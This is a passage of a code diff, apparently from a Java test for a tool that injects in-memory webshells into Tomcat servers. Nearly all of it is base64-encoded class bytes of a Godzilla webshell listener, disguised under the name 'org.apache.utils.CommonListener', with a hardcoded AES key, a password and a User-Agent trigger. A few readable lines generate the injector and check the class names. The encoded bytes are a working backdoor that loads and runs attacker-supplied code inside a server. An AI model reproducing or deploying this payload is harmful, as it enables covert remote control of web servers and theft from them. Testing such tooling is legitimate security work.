Zy9PYmplY3Q7AQAEdmFyNQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEbmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAA1TdGFja01hcFRhYmxlBwDyBwC5BwCqAQAKRXhjZXB0aW9ucwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQAEdmFyNgEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAmJzAQACW0IBAAV2YWx1ZQcAugcAuwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQAJU2lnbmF0dXJlAQAYKFtCKUxqYXZhL2xhbmcvQ2xhc3M8Kj47AQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAXMBAAFtAQABWgcA3QcA8wEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHc2Vzc2lvbgEAIExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsHAPQHAM8HAO8HAPUBABZnZXRSZXNwb25zZUZyb21SZXF1ZXN0AQBRKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQABZQEAClNvdXJjZUZpbGUBABVHb2R6aWxsYUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD2APcBABBqYXZhL2xhbmcvT2JqZWN0DAD4APkBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPoA9wwAVAD7BwDyDAD8AP0MAP4A/wEAEGphdmEudXRpbC5CYXNlNjQMAQABAQEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQIBAwEAE1tMamF2YS9sYW5nL09iamVjdDsHAQQMAQUBBgEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEHAQgBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCQEKAQADQUVTBwDzDAELAQwBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQ0BDgwAVAEPDAEQAREMARIBEwcA9AwBFAEVAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAUgBPDAEWARcMAFMATwwBGAEZDACgAKEMARoBGwwAUABPDAEcARcMAHsAfAwAgwCEAQAHcGF5bG9hZAcA9QwBHQEeAQA9Y29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFMaXN0ZW5lcgwBHwEgDAB+AH8MASEBIgEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIwEkDAElASYMAE4ATwwBJwEoBwEpDAEqAPsMASsBLAwBLQEODABwAHEMAScBLgwBLwBVDABeAF8BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAIWphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEAEWdldFNlcnZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAt0b0J5dGVBcnJheQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC2ZsdXNoQnVmZmVyAQAfb3JnL2FwYWNoZS91dGlscy9Db21tb25MaXN0ZW5lcgcBMAgAUAkBMQDWAQAQM2M2ZTBiOGE5YzE1MjI0YQgBNAkBMQDIAQAgMTFDRDZBODc1ODk4NDE2MzZDMzdBQzgyNkEyQTA0QkMIATcJATEA5QEAClVzZXItQWdlbnQIAToJATEA0AEABHRlc3QIAT0JATEA0gEAIUxvcmcvYXBhY2hlL3V0aWxzL0NvbW1vbkxpc3RlbmVyOwoBMQDUCgExANgKATEA2QoBMQCmCgExAN8KATEA6woBMQDuACEBMQBMAAEATQAFAAEATgBPAAAAAQBQAE8AAAABAFEATwAAAAEAUgBPAAAAAQBTAE8AAAAKAAEAVABVAAEAVgAAADQAAgABAAAAKCq3AAEqEwEytQEzKhMBNbUBNioTATi1ATkqEwE7tQE8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"); String shellClassName = "org.apache.utils.CommonListener"; String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = injectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); + byte[] bytes = InjectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); @@ -38,7 +36,7 @@ class TomcatListenerInjectorTest { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBRwoATACkCgBMAKUKAAQApgcApwoAEwCoBwCpCgATAKoKAAYAqwoArACtCgCsAK4IAK8KABMAsAgAsQcAsgoAEwCzBwC0CgC1ALYIALcHALgHAHcHALkHALoIALsKABMAvAgAvQgAvggAvwgAwAgAwQoATADCCADDCgDEAMUHAMYJADUAxwoAFQDICgAhAMkKAMQAygoAxADLCgDMAM0HAM4JADUAzwsAKADQCQA1ANEKABUA0goANQDTCwAoANQJADUA1QsAKADWCgA1ANcKADUA2AgA2QsA2gDbBwDcCgATAN0KADUApQoANQDeCwDaAN8IAOALACgA3wcA4QoAPACkCgAEAOILAEsA4wkANQDkCgAVAOUKAOYA5woABADoCgA8AOkKADUA6goAFQDrCwBLAOwIAJkKADUA7QgAkgcA7gcA7wcA8AEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARkxjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA29iagEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABG5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcA8QcAuAcAqQEACkV4Y2VwdGlvbnMBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHZW5jb2RlcgEABmJhc2U2NAEABHZhcjYBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAFdmFsdWUHALkHALoBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBAAFzAQABbQEAAVoHANwHAPIBABJyZXF1ZXN0SW5pdGlhbGl6ZWQBACgoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAhyZXNwb25zZQEAKkxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB3Nlc3Npb24BACJMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAEZGF0YQEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACVMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7BwDzBwDOBwDuBwD0AQAWZ2V0UmVzcG9uc2VGcm9tUmVxdWVzdAEAVShMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAFlAQAKU291cmNlRmlsZQEAHEdvZHppbGxhSmFrYXJ0YUxpc3RlbmVyLmphdmEMAFQAVQwAVABbDAD1APYBABBqYXZhL2xhbmcvT2JqZWN0DAD3APgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAPkA9gwAVAD6BwDxDAD7APwMAP0A/gEAEGphdmEudXRpbC5CYXNlNjQMAP8BAAEACmdldEVuY29kZXIBABJbTGphdmEvbGFuZy9DbGFzczsMAQEBAgEAE1tMamF2YS9sYW5nL09iamVjdDsHAQMMAQQBBQEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAEGAQcBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBCAEJAQADQUVTBwDyDAEKAQsBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABRAE8MAQwBDQwAVAEODAEPARAMAREBEgcA8wwBEwEUAQAnamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DABSAE8MARUBFgwAUwBPDAEXARgMAJ8AoAwBGQEaDABQAE8MARsBFgwAewB8DACDAIQBAAdwYXlsb2FkBwD0DAEcAR0BAERjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYUpha2FydGFMaXN0ZW5lcgwBHgEfDAB+AH8MASABIQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBIgEjDAEkASUMAE4ATwwBJgEnBwEoDAEpAPoMASoBKwwBLAENDABwAHEMASYBLQwBLgBVDABeAF8BAChqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAmamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBACNqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAIGpha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0U2VydmxldFJlcXVlc3QBACIoKUxqYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACmdldFNlc3Npb24BACQoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYo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